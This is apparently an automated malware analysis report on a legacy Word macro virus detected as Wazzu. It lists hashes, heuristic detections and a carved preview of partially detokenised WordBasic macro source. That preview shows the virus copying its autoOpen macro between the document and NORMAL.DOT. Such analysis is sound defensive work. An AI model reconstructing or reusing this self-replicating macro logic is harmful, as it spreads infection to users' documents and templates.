Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 936af463b7db1283…

MALICIOUS

Office (OLE)

6.0 KB First seen: 2012-06-14
MD5: 4c6bee20bcede834405055f00581f80c SHA-1: cd2379536af7a657091a2f085b6fa3db241eb284 SHA-256: 936af463b7db1283d9b672afadddecadb848ba9019c2f21b7d15f4b745d57b9f
102 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The file exhibits characteristics of a legacy macro virus, specifically identified by the 'RSN MACRO VIRUS' marker and ClamAV detection as 'Doc.Trojan.Wazzu-6'. The document body contains numerous references to legacy WordBasic macro functions and file paths, suggesting the primary attack vector is the execution of malicious macro code upon opening the document.

Heuristics 3

  • ClamAV: Doc.Trojan.Wazzu-6 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Wazzu-6
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • Recovered legacy WordBasic macro source info OLE_LEGACY_WORDBASIC_MACRO_SOURCE
    The Word 6.0/95 document stores tokenised WordBasic macros in the WordDocument stream rather than as a modern VBA project, so VBA source extraction cannot see them. The macro source was detokenised and carved so its identifiers, string literals (file paths, URLs, registry keys, message text) and comments are available for review and signature scanning.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
wordbasic_macros.txt wordbasic-macro analyzer.wordbasic (detokenised Word 6/95 WordBasic macro source) 430 bytes
SHA-256: b6ab6e34060bf282efb15d89633eb699602d806d268083928bdfb942c354fa0e
Preview script
First 1,000 lines of the extracted script
MAIN
, - * errCaught
@cmd00ed
@cmd8081
@cmd0056
dlg @cmd0056
dlg
fileMacro$ = dlg = "\" = dlg @cmd0700 ":autoOpen"
globMacro$ = "Global:autoOpen"
MacroFile$ = @cmd80af @cmd8009 @cmd818e @cmd80b8 0 , 10
MacroFile$ = "NORMAL.DOT"
@cmd80c2 globMacro$ , fileMacro$
@cmd0054 = 1
@cmd80c2 fileMacro$ , globMacro$
* bye @cmd7468
, - * 0
RndWord
@cmd0056
dlg @cmd004e
dlg
wordNum = @cmd8002 @cmd800e @cmd8006 dlg
@cmdc010
@cmdc003 wordNum

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